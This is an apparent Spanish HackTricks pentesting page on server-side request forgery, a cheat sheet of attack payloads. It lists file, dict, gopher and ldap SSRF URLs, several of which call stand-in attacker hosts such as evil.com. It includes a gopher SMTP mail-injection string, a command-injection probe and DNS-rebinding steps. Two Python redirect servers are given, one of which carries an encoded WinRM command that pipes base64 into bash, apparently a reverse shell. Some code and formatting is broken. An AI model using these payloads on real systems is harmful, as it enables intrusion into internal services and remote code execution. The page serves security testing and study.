.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Utilice Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
La falsificación de solicitud del lado del servidor (también conocida como SSRF, por sus siglas en inglés) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario elegido por el atacante. (De aquí)
Capturar SSRF
Lo primero que debes hacer es capturar una interacción de SSRF provocada por ti. Para capturar una interacción HTTP o DNS, puedes utilizar herramientas como:
- Burpcollab
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
Bypass de dominios permitidos
Por lo general, descubrirás que el SSRF solo funciona en ciertos dominios permitidos o URL. En la siguiente página tienes una recopilación de técnicas para intentar evadir esa lista blanca:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Bypass a través de redirección abierta
Si el servidor está correctamente protegido, podrías evadir todas las restricciones explotando una redirección abierta dentro de la página web. Debido a que la página web permitirá SSRF al mismo dominio y probablemente seguirá redirecciones, puedes aprovechar la redirección abierta para hacer que el servidor acceda a cualquier recurso interno.
Lee más aquí: https://portswigger.net/web-security/ssrf
Protocolos
file://
file:///etc/passwd
dict://
El esquema de URL DICT se utiliza para referirse a definiciones o listas de palabras disponibles utilizando el protocolo DICT:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP://
Un protocolo de red utilizado para la transferencia segura de archivos a través de secure shell.
ssrf.php?url=sftp://evil.com:11111/
TFTP://
El Protocolo de Transferencia de Archivos Triviales, funciona sobre UDP.
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Protocolo de Acceso Ligero a Directorios. Es un protocolo de aplicación utilizado sobre una red IP para gestionar y acceder al servicio de información de directorio distribuido.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
Usando este protocolo puedes especificar la IP, puerto y bytes que quieres que el servidor envíe. Luego, básicamente puedes explotar un SSRF para comunicarte con cualquier servidor TCP (pero primero necesitas saber cómo hablar con el servicio).
Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser se puede utilizar para crear payloads gopher para servicios Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.
In a Gopher HTTP attack, the attacker crafts a URL that includes the Gopher protocol and specifies the desired resource. This URL is then sent to the vulnerable server, which processes the request and retrieves the specified resource using the Gopher protocol. The server's response is then returned to the attacker.
The Gopher protocol allows the attacker to bypass certain security measures that may be in place, such as firewalls or IP whitelisting. By using the Gopher protocol, the attacker can make requests to internal resources that are not directly accessible from the Internet.
To protect against Gopher HTTP attacks, it is important to validate and sanitize all user-supplied input. This includes checking the protocol and ensuring that it is limited to only the necessary protocols (e.g., HTTP, HTTPS). Additionally, access controls should be implemented to restrict the server's ability to make requests to internal resources.
By understanding and mitigating the risks associated with Gopher HTTP attacks, organizations can better protect their systems and data from unauthorized access and exploitation.
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Conexión inversa a 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SMTP
Desde https://twitter.com/har1sec/status/1182255952055164929:
1. Conéctate con SSRF en localhost:25 smtp
2. Desde la primera línea, obtén el nombre de dominio interno 220 http://blabla.internaldomain.com ESMTP Sendmail
3. Busca http://internaldomain.com en github, encuentra subdominios
4. Conéctate
Curl URL globbing - Bypass de WAF
Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para eludir WAFs. Por ejemplo, en este writeup puedes encontrar este ejemplo para una travesía de ruta a través del protocolo file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
Capturar solicitudes SSRF
- Burp Collaborator
- http://requestrepo.com/
- https://app.interactsh.com/
- https://github.com/stolenusername/cowitness
SSRF a través de la cabecera Referrer
Algunas aplicaciones utilizan software de análisis en el lado del servidor que rastrea a los visitantes. Este software a menudo registra la cabecera Referrer en las solicitudes, ya que esto es de particular interés para rastrear los enlaces entrantes. A menudo, el software de análisis visitará en realidad cualquier URL de terceros que aparezca en la cabecera Referrer. Esto se hace típicamente para analizar el contenido de los sitios de referencia, incluido el texto del ancla que se utiliza en los enlaces entrantes. Como resultado, la cabecera Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.
Para descubrir este tipo de vulnerabilidades "ocultas", puedes utilizar el complemento "Collaborator Everywhere" de Burp.
SSRF a través de los datos SNI del certificado
La configuración incorrecta más simple que te permitiría conectarte a un backend arbitrario se vería algo así:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Aquí, el valor del campo SNI se utiliza directamente como la dirección del backend.
Con esta configuración insegura, podemos explotar la vulnerabilidad SSRF simplemente especificando la IP o el nombre de dominio deseado en el campo SNI. Por ejemplo, el siguiente comando obligaría a Nginx a conectarse a internal.host.com:
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
Carga de archivos con Wget
SSRF con Inyección de Comandos
Podría valer la pena probar una carga útil como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderización de PDFs
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes insertar un JS que será ejecutado por el propio creador de PDF (el servidor) mientras crea el PDF y podrás abusar de un SSRF. Encuentra más información aquí.
De SSRF a DoS
Crea varias sesiones e intenta descargar archivos pesados aprovechando el SSRF de las sesiones.
Funciones PHP de SSRF
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Redirección de SSRF a Gopher
Para algunas explotaciones, es posible que necesites enviar una respuesta de redirección (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en Python para responder con una redirección:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Utilice Trickest para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Bypass de CORS/SOP mediante DNS Rebidding
Si tiene problemas para exfiltrar contenido desde una IP local debido a CORS/SOP, puede utilizar DNS Rebidding para evitar esa limitación:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
DNS Rebidding automatizado
Singularity of Origin
es una herramienta para realizar ataques de rebinding DNS. Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque con la dirección IP de la máquina objetivo y para servir cargas de ataque para explotar software vulnerable en la máquina objetivo.
También puedes consultar el servidor en funcionamiento públicamente en http://rebind.it/singularity.html****
DNS Rebidding + ID de sesión TLS/ID de ticket de sesión
Requisitos:
- SSRF
- Sesiones TLS salientes
- Cosas en puertos locales
Ataque:
- Solicite al usuario/bot que acceda a un dominio controlado por el atacante.
- El TTL del DNS es de 0 segundos (por lo que la víctima volverá a comprobar la IP del dominio pronto).
- Se crea una conexión TLS entre la víctima y el dominio del atacante. El atacante introduce la carga útil dentro del ID de sesión o del ticket de sesión.
- El dominio iniciará un bucle infinito de redirecciones contra sí mismo. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice nuevamente una solicitud DNS del dominio.
- En la solicitud DNS se proporciona una dirección IP privada ahora (por ejemplo, 127.0.0.1).
- El usuario/bot intentará restablecer la conexión TLS y para hacerlo enviará el ID de sesión/Ticket ID (donde se encontraba la carga útil del atacante). Así que felicidades, lograste hacer que el usuario/bot se ataque a sí mismo.
Ten en cuenta que durante este ataque, si deseas atacar a localhost:11211 (memcache), debes hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el puerto siempre debe ser el mismo).
Para realizar este ataque puedes utilizar la herramienta: https://github.com/jmdx/TLS-poison/
Para obtener más información, echa un vistazo a la charla donde se explica este ataque: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
SSRF a ciegas
La diferencia entre un SSRF a ciegas y uno que no lo es, es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades conocidas.
SSRF basado en tiempo
Comprobando el tiempo de las respuestas del servidor, puede ser posible saber si un recurso existe o no (tal vez se tarda más tiempo en acceder a un recurso existente que en acceder a uno que no existe)
Explotación de SSRF en la nube
Si encuentra una vulnerabilidad de SSRF en una máquina que se ejecuta dentro de un entorno de nube, es posible que pueda obtener información interesante sobre el entorno de la nube e incluso credenciales:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Plataformas vulnerables a SSRF
Varias plataformas conocidas contienen o han contenido vulnerabilidades de SSRF, compruébalas en:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Herramientas
SSRFMap
Herramienta para detectar y explotar vulnerabilidades de SSRF
Gopherus
Esta herramienta genera cargas útiles de Gopher para:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser es un escáner de vulnerabilidades de Java RMI que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de Java RMI. La mayoría de las operaciones disponibles admiten la opción --ssrf
para generar una carga útil de SSRF para la operación solicitada. Junto con la opción --gopher
, se pueden generar directamente cargas útiles de gopher listas para usar.
SSRF Proxy
SSRF Proxy es un servidor proxy HTTP multiproceso diseñado para canalizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a la falsificación de solicitudes del lado del servidor (SSRF).
Para practicar
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Referencias
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos.
- Obtén el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}